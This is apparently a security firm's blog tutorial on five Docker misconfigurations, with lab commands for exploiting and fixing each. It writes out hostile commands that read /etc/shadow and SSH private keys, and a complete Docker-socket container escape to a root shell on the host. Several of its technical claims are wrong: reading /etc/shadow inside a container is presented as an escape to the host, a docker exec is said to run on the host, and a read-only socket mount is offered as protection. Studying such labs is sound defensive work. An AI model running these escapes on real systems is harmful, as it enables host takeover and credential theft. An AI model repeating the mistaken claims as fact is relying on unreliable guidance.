Cloud Security: Docker Misconfigurations & Exploitation Lab

Cloud Security: Docker Misconfigurations & Exploitation Lab

Cloud Security Docker Misconfigurations - Jaymon Security

1. Introduction

Docker has revolutionized how we deploy applications: lightweight, reproducible, and scalable containers. But just as a poorly configured server can be compromised, a Docker container with security vulnerabilities can expose the entire underlying infrastructure. In 2026, according to cybersecurity trend reports (Fortinet, IBM X-Force), misconfigurations in containers and orchestrators are one of the leading sources of breaches.

In this article we will explore the most common Docker vulnerabilities, with a hands-on lab where we build a vulnerable container and exploit it from inside and outside. We will learn to detect and fix each configuration flaw.

2. Why are containers important in cybersecurity?

A Docker container is an isolated process that shares the host operating system’s kernel. Unlike a virtual machine, it does not include a complete OS: only the dependencies needed to run the application.

This efficiency has a cost: if an attacker escapes the container, they can access the full host. The main reasons containers are vulnerable:

  • Images with known vulnerabilities: many official images include outdated libraries.
  • Containers running as root: the main process has host administrator privileges.
  • Ports exposed to the outside: internal services accessible from the internet.
  • Volumes mounted incorrectly: sensitive host directories inside the container.
  • Docker Socket exposed: allows controlling the Docker daemon from within the container.

3. Setting up the scenario

We need Docker installed on our local machine:

# Verify Docker installation
docker --version
docker info

# Create a working directory
mkdir ~/docker-lab && cd ~/docker-lab

Fig. 1 – Terminal with Docker installed and verified.

4. Vulnerability #1: Container running as root

By default, many containers run as the root user. If an attacker escapes the container, they get root on the host:


# Create a vulnerable Dockerfile
FROM ubuntu:latest
RUN apt-get update && apt-get install -y curl
COPY app.py /app/app.py
CMD ["python3", "/app/app.py"]

# Build and run (no user specified = root by default)
docker build -t vulnerable-app .
docker run -d --name my-app -p 8080:5000 vulnerable-app

# Enter the container and verify the user
docker exec -it my-app whoami
# Result: root

docker exec -it my-app id
# Result: uid=0(root) gid=0(root)...

Exploitation: from inside the container, read the host’s credential file:


# Escape to host by reading /etc/shadow if mounted
docker exec my-app cat /etc/shadow

# Or execute a command on the host using docker exec with PID 1
docker exec -it --user root my-app sh -c "cat /root/.ssh/id_rsa"

Defense: create a non-root user in the Dockerfile:


FROM ubuntu:latest
RUN useradd -m appuser
USER appuser
CMD ["python3", "/app/app.py"]

5. Vulnerability #2: Exposed Docker Socket

The Docker socket (/var/run/docker.sock) allows controlling the Docker daemon. If a container has access to this socket, it can create new containers with root privileges on the host:


# Run a container with the socket mounted (common vulnerability)
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock alpine sh

# Inside the container, create a new container that mounts the host root:
docker run -v /:/host -it alpine chroot /host

# Now we are inside the host from within the container!
cat /etc/shadow

Full exploitation:


# Escape a container with exposed socket:
docker run -it --rm \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v $(pwd):/host \
  -w /host \
  alpine sh -c "apk add docker-cli && docker run -v /:/host -it alpine chroot /host"

# Result: root shell on the host from inside the container

Defense: mount the socket read-only when possible, or use tools like Docker Bench for Security to audit configurations.

6. Vulnerability #3: Unnecessarily exposed ports

When we run -p 8080:5000, we expose internal port 5000 to the outside. If the container has multiple services, many may remain exposed:


# Example: container with Redis (port 6379) and API (port 8080)
docker run -d \
  --name my-app \
  -p 8080:5000 \
  -p 6379:6379 \
  vulnerable-app

# From outside, access Redis directly without authentication:
redis-cli -h localhost -p 6379
127.0.0.1:6379> KEYS *

Defense: use internal Docker networks for services that don’t need external access, and expose only necessary ports:


# Create internal network
docker network create internal-net

# Run Redis on the internal network (no exposed port)
docker run -d --name redis --network internal-net redis:alpine

# Run app connected to internal network, exposing only port 8080
docker run -d \
  --name my-app \
  --network internal-net \
  -p 8080:5000 \
  vulnerable-app

7. Vulnerability #4: Images with known vulnerabilities

Outdated base images contain libraries with known CVEs:


# Scan an image for vulnerabilities
docker scan vulnerable-app

# Or use Trivy (free and powerful)
trivy image vulnerable-app

# Typical results:
# [HIGH] CVE-2023-XXXX - openssl outdated version
# [MEDIUM] CVE-2024-YYYY - curl outdated version

Defense: use multi-stage images and lightweight bases (Alpine, Distroless):


FROM python:3.12-slim AS builder
RUN pip install --no-cache-dir flask

FROM python:3.12-alpine
COPY --from=builder /usr/local/lib/python3.12/site-packages /usr/local/lib/python3.12/site-packages
COPY app.py /app/app.py
CMD ["python3", "/app/app.py"]

8. Vulnerability #5: Environment variables with secrets

Credentials in environment variables are visible with docker inspect:


# Run container with secrets in ENV
docker run -d \
  --name my-app \
  -e DB_PASSWORD=supersecret123 \
  -e API_KEY=sk-abc123def456 \
  vulnerable-app

# View environment variables:
docker inspect my-app | grep -A 5 "Env"
# Result: ["DB_PASSWORD=supersecret123", "API_KEY=sk-abc123def456"]

Defense: use Docker Secrets or mounted environment files as volumes (with 600 permissions):


# Create secret with echo | docker secret create
echo "supersecret123" | docker secret create db_password -

# Mount the secret in the container
docker service create \
  --secret db_password \
  --name my-app-svc \
  vulnerable-app

9. Auditing with Docker Bench for Security

Docker Bench for Security is a script that runs 80+ checks to evaluate the security of a Docker installation:


# Clone and run the benchmark
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo bash docker-bench-security.sh

# Results by category:
# [INFO] 1 - User configuration
# [WARN] 2.5 - Container images (root user detected)
# [PASS] 3.1 - Container networking
# [FAIL] 4.1 - Docker daemon configuration

Fig. 2 – Docker Bench results showing warnings and failures detected.

10. Conclusions

Docker containers offer agility but introduce new attack surfaces. The five vulnerabilities we have covered — root user, exposed Docker socket, unnecessary ports, outdated images, and secrets in ENV — represent the majority of real-world breaches in production.

The correct defense combines: multi-stage images with lightweight bases, non-root execution, automated auditing with Docker Bench, properly managed secrets, and continuous monitoring. At Jaymon Security we help organizations deploy secure containers from development to production.

11. References

Need help with your security strategy?

At Jaymon Security, we help organizations protect their systems. From security audits to SIEM/SOC implementation, our expert team designs custom solutions.

Contact us for a free infrastructure assessment.

Spain

No puedes copiar el contenido